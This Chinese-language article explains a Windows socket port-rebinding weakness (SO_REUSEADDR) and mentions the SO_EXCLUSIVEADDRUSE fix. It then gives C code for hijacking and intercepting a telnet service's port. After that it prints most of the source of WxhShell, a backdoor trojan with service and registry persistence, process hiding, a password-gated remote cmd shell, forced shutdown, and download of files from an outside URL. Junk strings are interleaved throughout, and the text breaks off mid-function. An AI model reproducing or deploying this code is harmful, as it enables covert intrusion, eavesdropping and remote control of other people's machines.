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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S1az3VJI\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5 <)gCHa x^#6>oOR saddr.sin_family = AF_INET; (w#slTFT 5y[b8mur saddr.sin_addr.s_addr = htonl(INADDR_ANY); "x.6W! ~^%0V<*-} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K?FX<PT [aWDD[#j~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5&-j{J0iV T[4[/n>i 这意味着什么?意味着可以进行如下的攻击: Q/3tg *_{l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5v!DYx "BLv4s|y7L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RI5g+Du? lC /Hib 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ET,0ux9F %Vw|5yA4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 X@bn?? QWzOp\+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r(,= uLc da9*9yN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 clq~ ;hx DYT@BiW{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yBPt%EF #7-kL7 MK] #include \8> #include Fi?32e4KI5 #include bRK CY6 #include <m Ju v DWORD WINAPI ClientThread(LPVOID lpParam); Qc&-\kQ:$u int main() *w'q { Q3NPwM WORD wVersionRequested; DnG/ n DWORD ret; &O+sK4P WSADATA wsaData; }&Wp3EWw BOOL val; (c(-E|u. SOCKADDR_IN saddr; )KaLSL> SOCKADDR_IN scaddr; ;gxN@%}@ int err; KrdZEi vb SOCKET s;
}@rg5$W SOCKET sc; QD.zU/F~> int caddsize; dN]Zs9] HANDLE mt; inr%XS/m DWORD tid; 2Y E;m& wVersionRequested = MAKEWORD( 2, 2 ); 4T-,'P{? err = WSAStartup( wVersionRequested, &wsaData ); >-_:*/66! if ( err != 0 ) { 6?3/Ul} printf("error!WSAStartup failed!\n"); J{Y6fHFi return -1; fV.A=*1l# } ^eTDD saddr.sin_family = AF_INET; L;1$xI8tx u%6Irdx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u(V [K/O5_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dN$ 1$B^k saddr.sin_port = htons(23); a"0B?3*r46 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kfMhw M8kP { QHHW(InG< printf("error!socket failed!\n"); ~")hE%Kl} return -1; (R4PD }
sBP}n.#$ val = TRUE; LJRg>8 //SO_REUSEADDR选项就是可以实现端口重绑定的 kq) +@p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lv
`#zgo_f { 2-vJv+- printf("error!setsockopt failed!\n"); ~t'#n V return -1; ;;EDN45 } 9">zdFC' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fOa6, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kZV^F*7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |?OdV<5C zW*}`S" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vKcl6bVT { k1ipvKxp:8 ret=GetLastError(); JP{UgcaF printf("error!bind failed!\n"); 5SoZ$,a<e return -1; ;j>*;Q` } (NGu9uJs listen(s,2); e$CePLEj while(1) qSFc=Wwc { vVI6m{zYV caddsize = sizeof(scaddr); j2RRSz&9 //接受连接请求 38[)[{G)Hv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cvZni#o2) if(sc!=INVALID_SOCKET) ?j1_
n,d { K^"w]ii= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I\}|Y+C$d/ if(mt==NULL) YS]>_ { 6BDt.bG printf("Thread Creat Failed!\n"); +68+PhHF break; 2{Wo-B,wt~ } ~R :<Bw } EoKC8/ CloseHandle(mt); z7-`Y9Ypd } +O)]^"TG closesocket(s); :=rA Yc3] WSACleanup(); FJO"|||Y'| return 0; J&A;#<qY } M-{*92y&
| DWORD WINAPI ClientThread(LPVOID lpParam) }X=87ud { 6!ZVd#OM% SOCKET ss = (SOCKET)lpParam; \.c]kG>k- SOCKET sc; Y8)}PWMs unsigned char buf[4096]; _Ny8j~ SOCKADDR_IN saddr; =kd YN5R long num; |r5e{ DWORD val; sC% b~ DWORD ret; Hl4\M]]/& //如果是隐藏端口应用的话,可以在此处加一些判断 ddoST``G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 HV ;; saddr.sin_family = AF_INET; PKi_Zh.D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GtF2@\ saddr.sin_port = htons(23); kGpV;F==* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ee&hG[sx { }<SNO)h3 printf("error!socket failed!\n"); b& V`<'{ return -1; yc*<:(p } >B0D/:R9 val = 100; GP* + if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BEln6zj { Xad*Iulj ret = GetLastError(); HeCcF+ return -1; XdcG0D^ } x Y| yI> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x;Gz6| { IeVLn^?+: ret = GetLastError(); JL.5QzA return -1; NjbwGcH%\ } z+jh;!i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tG/1pW { Mec{_jiH&D printf("error!socket connect failed!\n"); 8 4z6zFv?Q closesocket(sc); h}avX*Lx_ closesocket(ss); qtHfz"p return -1; +O'vj } -n$ewV while(1) CD} Ns { Yb}w;F8( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gC`)]*'tE //如果是嗅探内容的话,可以再此处进行内容分析和记录 T j`y J!0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^\:yf.k num = recv(ss,buf,4096,0); s|Zx(.EP if(num>0) 8zZSp send(sc,buf,num,0); ^;zWWg/d else if(num==0) en>9E.?N break; &eIGF1ws num = recv(sc,buf,4096,0); m=QCG)s if(num>0) vh
&GIb send(ss,buf,num,0); Ivsb<qzG else if(num==0) rR]-RX( break; =O,JAR"ug } Vu[:A closesocket(ss); hY+R'9 closesocket(sc); !h>D;k6 e return 0 ; R uLvG+ } }kE87x' J='W+=N 0N{+y}/G ========================================================== i&A%"lOI9 XvskB[\ 下边附上一个代码,,WXhSHELL .|uLt J 5@ foxI ========================================================== :M j_2 kM!V.e[g #include "stdafx.h" ?>V6P_r> Tr&E4e #include <stdio.h> o'Pu'y #include <string.h> RZO5=L9E #include <windows.h> 6Nt$ZYS #include <winsock2.h> (;}tf~~r #include <winsvc.h> #.<V^ #include <urlmon.h> 6^;^rUlm Zn&k[?;Al #pragma comment (lib, "Ws2_32.lib") <qhBc:kc #pragma comment (lib, "urlmon.lib") .Pw%DZ'
-4flV D #define MAX_USER 100 // 最大客户端连接数 ;xK_qBIP #define BUF_SOCK 200 // sock buffer /)9W1U^B #define KEY_BUFF 255 // 输入 buffer ,)h)5o(? B!b sTvX #define REBOOT 0 // 重启 B
wC+ov= #define SHUTDOWN 1 // 关机 tWY2o3j pUCK-rL #define DEF_PORT 5000 // 监听端口 (KTnJZ ioV_oR9I #define REG_LEN 16 // 注册表键长度 <C<`J{X0 #define SVC_LEN 80 // NT服务名长度 iq6a|XGi xMI+5b8 // 从dll定义API 0Q~@F3N-\> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O"*`'D|hK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ni6r{eSQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2yKz-"E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D|_V<' 5)'P'kVi7. // wxhshell配置信息 %6ub3PLw8 struct WSCFG { \ZD[!w7 int ws_port; // 监听端口 `HW:^T char ws_passstr[REG_LEN]; // 口令 Ftv8@l int ws_autoins; // 安装标记, 1=yes 0=no (ZP87Gz char ws_regname[REG_LEN]; // 注册表键名 1pP1d% char ws_svcname[REG_LEN]; // 服务名 >qR~'$,$ char ws_svcdisp[SVC_LEN]; // 服务显示名 9s` /~ a@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bux'hc char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? _<[T int ws_downexe; // 下载执行标记, 1=yes 0=no
u1cu]Sj0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \M(*=5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u@=?#a$$ 9vI]LfP }; ^bUxLa[. B9X8 // default Wxhshell configuration 7>i2OBkAhB struct WSCFG wscfg={DEF_PORT, k\N4@UK "xuhuanlingzhe", A+
0,i 1, E'c%d[:H, "Wxhshell", ;=jr0\| e "Wxhshell", &|5GB3H= "WxhShell Service", )%Ru#}1X6 "Wrsky Windows CmdShell Service", a<m-V&4x "Please Input Your Password: ", h qmSE'8 1,
/\=MBUN " http://www.wrsky.com/wxhshell.exe", |}[nH> "Wxhshell.exe" 4nkE IZ }; v27Ja .tA _+w/
pS`M // 消息定义模块 %f&< wC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Q&rfH3 char *msg_ws_prompt="\n\r? for help\n\r#>"; 5Qa
zHlJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :0^s0l char *msg_ws_ext="\n\rExit."; 5j^NV&/_ char *msg_ws_end="\n\rQuit."; C3VLV&wF char *msg_ws_boot="\n\rReboot..."; w([$@1] char *msg_ws_poff="\n\rShutdown..."; sR=/%pVN char *msg_ws_down="\n\rSave to "; NY.k. <]G${y*; char *msg_ws_err="\n\rErr!"; t FgX\4 char *msg_ws_ok="\n\rOK!"; f h<*8w0H o a<q / char ExeFile[MAX_PATH]; "T6# int nUser = 0; {6
.o=EyM{ HANDLE handles[MAX_USER]; x<B'.3y int OsIsNt; *'ZN:5%H x5Zrz<Y$w SERVICE_STATUS serviceStatus; hu5!ev2 SERVICE_STATUS_HANDLE hServiceStatusHandle; #^rU x. 2KI!af[I // 函数声明 nr\q7 int Install(void); v{;7LXy0 int Uninstall(void); Llz['"m int DownloadFile(char *sURL, SOCKET wsh); HDIk9WC^ int Boot(int flag); UUtbD&\ void HideProc(void); <I=$ry6 8 int GetOsVer(void); P7GRSjG int Wxhshell(SOCKET wsl); -_8*41 void TalkWithClient(void *cs); c3xl9S,5 int CmdShell(SOCKET sock); H+ZSPHs int StartFromService(void); =_pwA:z"A int StartWxhshell(LPSTR lpCmdLine); +=P@HfVfiq 1n%8j*bJq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rwqv V^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); / 8gL.i$ &35|16z%@ // 数据结构和表定义 {'bip`U. SERVICE_TABLE_ENTRY DispatchTable[] = 7*+TP~WI { \pY^^ l* {wscfg.ws_svcname, NTServiceMain}, -50AX1h31: {NULL, NULL} ;Zut@z4\ }; `M@Ak2gcR+ Y2T$BJJ // 自我安装 cF+ X,]=6 int Install(void) '$m7ft} { =-jD~rN4;P char svExeFile[MAX_PATH]; N$ alUx* HKEY key; Y=B3q8l5 strcpy(svExeFile,ExeFile); fA^Em)cs2 8+'C_t/0i // 如果是win9x系统,修改注册表设为自启动 \m/xV/ if(!OsIsNt) { HKmcQM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (36K3=Q a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2x}6\t RegCloseKey(key); /c-nE3+rn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RKkGITDk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Pal H24] RegCloseKey(key); :FQ1[X1xm return 0; pY}/j;.[ } sbsu(Sz+ } V1bh|+o9 } $Ua56Y else { i|$z'HK;+ t#~?{i@m // 如果是NT以上系统,安装为系统服务 F@vbSFv)/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cmd329AH if (schSCManager!=0) y]
V1b{9p { 'K@0Wp SC_HANDLE schService = CreateService %|"Qi]c d ( "Pc$\zJm; schSCManager, ,4@|1z{bfm wscfg.ws_svcname, LAs7>hM wscfg.ws_svcdisp, &Cro2|KZhG SERVICE_ALL_ACCESS, zg}YGu|J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Wf^0ok SERVICE_AUTO_START, zV.pol SERVICE_ERROR_NORMAL, Tz-X o svExeFile, <,8l *1C NULL, 2qj{n+ NULL, 4A.Q21s NULL, VcgBLkIF NULL, lAASV{s{ NULL %w"nDu2Gcv ); )ly
^Ox if (schService!=0) g`,AaWlF { 'Z8aPHD CloseServiceHandle(schService); >1|g5 CloseServiceHandle(schSCManager); TMj4w,g4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fEnQE EU~P strcat(svExeFile,wscfg.ws_svcname); lF4u{B9DM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i g71/'D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X>l*v\F9 RegCloseKey(key); vzR=>0# return 0; PEXq:TA } +V8b } {]/8skov5] CloseServiceHandle(schSCManager); Zz"}Cz:bX } l I-p_K } =xl~][ zICI_*~ return 1; tJD]
(F } *i%quMv ]n
v( aM?d // 自我卸载 tS?lB05TOR int Uninstall(void) ST',4Oph5 { .b>TK HKEY key; v[ ,Src T1
MY X if(!OsIsNt) { SgM.B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F:T GsV# RegDeleteValue(key,wscfg.ws_regname); >- Bg%J9 RegCloseKey(key); 5M){!8"S)# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NoDZ5Z RegDeleteValue(key,wscfg.ws_regname); 0!#;j{JQ RegCloseKey(key); >S#ul? return 0; tFh|V
pB } +!O-kd } p^QZ q>v } W|UtY`1 else { AXW!]=?X ">90E^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sp?NfJ\Ie if (schSCManager!=0) AtHS@p { +x1/-J8_sg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j}WByaZ& if (schService!=0) ?d-70pm { kW-81 if(DeleteService(schService)!=0) { %$mjJw<|& CloseServiceHandle(schService); J=}F2C
CloseServiceHandle(schSCManager); `E>vG-9 return 0; -
q@69q } G\~^&BAC CloseServiceHandle(schService); zhsx& } '044Vm;/ CloseServiceHandle(schSCManager); a6nlt?1?D } `gguip-C } Q,e*#oK3$ @$U e$ return 1; b X,Siz:F } kC$I2[ t! (B#(Z= // 从指定url下载文件 I:;+n^N? int DownloadFile(char *sURL, SOCKET wsh) 77aX-e*=E { bZ5n,KQA5 HRESULT hr; P6Xp<^%E char seps[]= "/"; ^.HWkS`e char *token; ==9ZFdf char *file; =/Juh7[C char myURL[MAX_PATH]; uxDLDA$; char myFILE[MAX_PATH]; X47!E
|* Fd8hGj1 strcpy(myURL,sURL); z7=fDe
- token=strtok(myURL,seps); n|KKby.$ while(token!=NULL) zSgjp\ { pVG>A&4 file=token;
GX38~pq token=strtok(NULL,seps); A,<@m2 } Rx S884 *m&&1W_ GetCurrentDirectory(MAX_PATH,myFILE); _*`q(dYcf strcat(myFILE, "\\"); >q9{ strcat(myFILE, file); 0k1MKzi Q send(wsh,myFILE,strlen(myFILE),0); MSY N1 send(wsh,"...",3,0); _rjBc;a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *l!5QG UoK if(hr==S_OK) ?( 12aU return 0; ;=p;v .l else WZ*&@|w return 1; Sx&mv.?X :ICr\FY$ } ^H!Lp[5c i+ic23$4M // 系统电源模块 r@|ZlM@O int Boot(int flag) l<N?' & { A- 0m8< HANDLE hToken; SLh~_ 5 TOKEN_PRIVILEGES tkp; e"_"vbk vKkf2 7 if(OsIsNt) { :?#cDyW) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0O;
Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N|N/) tkp.PrivilegeCount = 1; 7}07Pit tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sip_~]hM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NDo^B7R- if(flag==REBOOT) { -W^2*w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =,E'~P return 0; a71}y;W } me$$he else { 8Mb$+^zU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M6x;BjrV return 0; 0 r3N^_} } /cY[at|p } *NjMb{[ZQ else { Dauo(Uhuo if(flag==REBOOT) { Is
kSX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 05 g?jV return 0; my=~"bw4 } -faw: else { ~ i'C/[P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R\
e#$"a5 return 0; 4ioNA/E } .m'N7`VB } 4^BLSK~( %Fm`Y.l return 1; QvNi8TB } 1Kc{#+a^ FJlsWh4,6= // win9x进程隐藏模块 Xr)g void HideProc(void) W7]mfy^ { i59k"pNm U)b&zZc; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T/Ez*iQW if ( hKernel != NULL ) :n`0)g[( { b@F_7P% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KK .cDAR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s9kTuhoK FreeLibrary(hKernel); rZ 6@b } jaNH](V '[xut1{ return; A7e_w
7?a } Qvs(Rt3?y *<;&>w8 // 获取操作系统版本 =mAGD*NKu int GetOsVer(void) ]X4RnV55Q { ":z@c, OSVERSIONINFO winfo; Xe> ~H4I9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a1_o.A GetVersionEx(&winfo); k0=|10bi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5
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return 1; v.]'%+::# else iiQ||P}5 return 0; ^$6bs64FSm }
bsD'\ #d$d&W~gE // 客户端句柄模块 F^[M int Wxhshell(SOCKET wsl) ^>t-v { YU*46 hA1B SOCKET wsh; r)(i{:@r` struct sockaddr_in client; 64;oB_ DWORD myID; }%
FDm@+ bmSpbX\ while(nUser<MAX_USER) <w%Yq?^ { sCL/pb] int nSize=sizeof(client); Yoj~|qL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >^sz5d+X if(wsh==INVALID_SOCKET) return 1; J>/Ci\OB OcLg3.:L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }NR`81 if(handles[nUser]==0) ~rQ4n9G closesocket(wsh); 0 %C!`7 else |ORmS&7 nUser++; 56VE[G } 1Qrm"TFo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EgkZ$ah !#l0@3 return 0; \E>%W } 3T Yo U+I3 P // 关闭 socket F%Ro98?{ void CloseIt(SOCKET wsh) m3h2/}%9` { zDKLo 3: closesocket(wsh); Y*h`), nUser--; 5EVB27k ExitThread(0); #mi0x06 } }UJdE#4 0Ax>gj-` // 客户端请求句柄 (UbR%A|v; void TalkWithClient(void *cs) KE&InTM/j { PxdJOtI" : 8p2Jxm SOCKET wsh=(SOCKET)cs; bdNY 7|j` char pwd[SVC_LEN]; 2_B; char cmd[KEY_BUFF]; z|oA{VxW> char chr[1]; GN}9$: int i,j; <S:,`v&Z WVBE>TB while (nUser < MAX_USER) { kM6
EZ`mj FRs|!\S= if(wscfg.ws_passstr) { 61t- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3P=Eb!qtdD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RBHqLg( //ZeroMemory(pwd,KEY_BUFF); >Gw%r1) i=0; z[<pi: while(i<SVC_LEN) { y.TdWnXx \?p9qR;"4 // 设置超时 10QNV=yK7s fd_set FdRead; 4)c"@Zf struct timeval TimeOut; EeF n{_ FD_ZERO(&FdRead); PN)TX~} FD_SET(wsh,&FdRead); 1^Y:XJ73 TimeOut.tv_sec=8; 4G68WBT TimeOut.tv_usec=0; sOrY^cY; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d}^:E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Q!FMv6Y^ 55jY` b. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (p#;6Xhf pwd =chr[0]; 2EI m if(chr[0]==0xd || chr[0]==0xa) { z;z'`A pwd=0; }lQn]q break; njx\$,ruN } CUTEp/+ i++; dwsy(g7 } bvxxE/?Ni /:c,v- // 如果是非法用户,关闭 socket E]e[Ty1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jP{]LJ2.6\ } hdNZ":1s {)dEO0 p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hG0lR.: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2l}FgD p<^/T,&I while(1) { <@;xV_`X+ ~d<`L[ ZeroMemory(cmd,KEY_BUFF); )]e d;V oXZ@* // 自动支持客户端 telnet标准 %RR|QY* j=0; ^`PSlT3<F while(j<KEY_BUFF) { 9.w3VF_C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'Q;?_,` cmd[j]=chr[0]; VL,?91qwe if(chr[0]==0xa || chr[0]==0xd) { nr9#3Lb cmd[j]=0; B0?@k break; gT\y& } Ia>th\_& j++; 9!/1F ! } l`w|o tS.b5$Q // 下载文件 UOL%tT if(strstr(cmd,"http://")) { JbD)}(G; send(wsh,msg_ws_down,strlen(msg_ws_down),0); 22(]x}` if(DownloadFile(cmd,wsh)) +sq,!6#G send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Pl6:FB8%@ else Fl|&eO,e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^eT>R,aB } ,Z\,IRn else { \?]HqPibx *V<2\- switch(cmd[0]) { 6'lT`E| FO)nW:8] // 帮助 LRlk9:QD> case '?': { ^V;lZtZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ognq*[om break; W&q5cz } ^xu)~:} i // 安装 JdNPfkOF case 'i': { _(A+_| if(Install()) B
qiq send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ta5iY
} else -tdON send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )(
jNd&H break;
Tee3U%Y } \\pyu]z // 卸载 (Y@|h%1W case 'r': { we).8%)' if(Uninstall()) ]R.Vq\A%S send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWU4ZBT8G else Tqh Rs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uN^qfJ'@
> break; *[/Xhx" } ?ut juMdl // 显示 wxhshell 所在路径 3ncvM>~g case 'p': { vM;dPE7 char svExeFile[MAX_PATH]; 6L% R@r strcpy(svExeFile,"\n\r"); S{|)9EKw strcat(svExeFile,ExeFile); -`1L[-<d=/ send(wsh,svExeFile,strlen(svExeFile),0); BGYm]b\j[ break; K`83C`w. } P\4o4MF@K // 重启 \$Qm2XKrK case 'b': { g.VIe send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #)eJz1~ if(Boot(REBOOT)) T#;*I#A: send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ZR"O8 else { SPm5tU closesocket(wsh); >$9yQ9&| ExitThread(0); ^i k|l= } ~(E8~)f) break; f9bz:_;W_ } S#z8H+' // 关机 2gI_*fG1 case 'd': { C+IE<=%F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cr;`0 if(Boot(SHUTDOWN)) :iC\#i]6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); VNot4 62L else { 1:Gd{z closesocket(wsh); %* ;
8m' ExitThread(0); c|a|z}(/J } `lOoT break; Xr;noV-X } W3j|% // 获取shell r6_a%A* case 's': { =_:L
wmI CmdShell(wsh); 6M|%nBN$| closesocket(wsh); c<x6_H6[8 ExitThread(0); HcUz2Rm5XP break; K1WoIv<Ym } -KiS6$- // 退出 uk/+
i`= case 'x': { DfFPGFv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]>i0;RME CloseIt(wsh); />7/S^ break; 2=
mD } vw6FvE`lC // 离开 muq|^Hfb case 'q': { @S:/6__ send(wsh,msg_ws_end,strlen(msg_ws_end),0); zQ_[wM- closesocket(wsh); $q+`GXc- WSACleanup(); ^*W<$A_ exit(1); U.0/r!po break; v%Q7 \X( } 9m9=O&C~-< } *[YN| } 1"6k5wrIA 8H b|'Q|^ // 提示信息 '$^ F.2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J>PV{N } >Tx;<G } PFw"ICs Ol0|)0 return; b(Xg6 } iROM?/$ qnRzs // shell模块句柄 !r
<|F int CmdShell(SOCKET sock) Qq`\C0RZ { /)|y+<E]} STARTUPINFO si; ,]"u!,yHb ZeroMemory(&si,sizeof(si)); 8;NO>L/J]i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P9^h>sV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =*U24B*U93 PROCESS_INFORMATION ProcessInfo; @>j \~<% char cmdline[]="cmd"; c[7qnSH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dVfDS-v! return 0; 'E,Yht=/} } O~xmz!?= #4u; `j"4= // 自身启动模式 i%
lB
U1 int StartFromService(void) I\23as0q { ufPQ~,. typedef struct ge8zh/` { s30_lddD DWORD ExitStatus; Q.AM DWORD PebBaseAddress; !m2k0|9 DWORD AffinityMask; q Q8l8 DWORD BasePriority; Q[KR,k ULONG UniqueProcessId; Shd,{Z)-Tg ULONG InheritedFromUniqueProcessId; }YO}LQ-| } PROCESS_BASIC_INFORMATION; w}b+vh^3Wy PEl]HI_H PROCNTQSIP NtQueryInformationProcess; 7A-rF U$ 7mNskb| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^*Fkt(ida static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W'$~mK\ `s $@6r$ HANDLE hProcess; 6u}NI!he PROCESS_BASIC_INFORMATION pbi; 7:%K-LeaQu A-$BB=Ot HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i=+6R if(NULL == hInst ) return 0; I:"`|eHxv AK =k@hT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5?MvO]_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 